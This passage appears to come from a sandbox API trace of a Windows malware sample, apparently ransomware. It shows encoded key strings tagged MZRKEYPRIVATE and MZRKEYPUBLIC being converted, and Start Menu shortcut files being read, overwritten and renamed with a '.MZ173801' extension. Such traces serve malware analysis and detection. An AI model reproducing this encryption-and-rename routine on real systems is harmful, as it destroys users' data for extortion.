lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.707] GetCurrentThreadId () returned 0xab4 [0213.707] GetCurrentThreadId () returned 0xab4 [0213.708] GetCurrentThreadId () returned 0xab4 [0213.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.708] GetCurrentThreadId () returned 0xab4 [0213.708] GetCurrentThreadId () returned 0xab4 [0213.708] GetCurrentThreadId () returned 0xab4 [0213.708] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.708] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.708] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.709] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x474 [0213.709] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.709] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x474, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x474, lpOverlapped=0x0) returned 1 [0213.718] CloseHandle (hObject=0x330) returned 1 [0213.719] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.720] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x474, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x474, lpOverlapped=0x0) returned 1 [0213.721] CloseHandle (hObject=0x330) returned 1 [0213.721] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk.mz173801")) returned 1 [0213.722] GetCurrentThreadId () returned 0xab4 [0213.722] GetCurrentThreadId () returned 0xab4 [0213.722] GetCurrentThreadId () returned 0xab4 [0213.722] GetCurrentThreadId () returned 0xab4 [0213.722] GetCurrentThreadId () returned 0xab4 [0213.722] GetCurrentThreadId () returned 0xab4 [0213.722] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b4be2a0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b4be2a0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3b4be2a0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Performance Monitor.lnk", cAlternateFileName="")) returned 1 [0213.722] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.722] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.722] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b4be2a0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b4be2a0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3b4be2a0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x450)) returned 1 [0213.722] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk")) returned 0x20 [0213.722] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk", dwFileAttributes=0x80) returned 1 [0213.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.725] GetCurrentThreadId () returned 0xab4 [0213.725] GetCurrentThreadId () returned 0xab4 [0213.725] GetCurrentThreadId () returned 0xab4 [0213.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 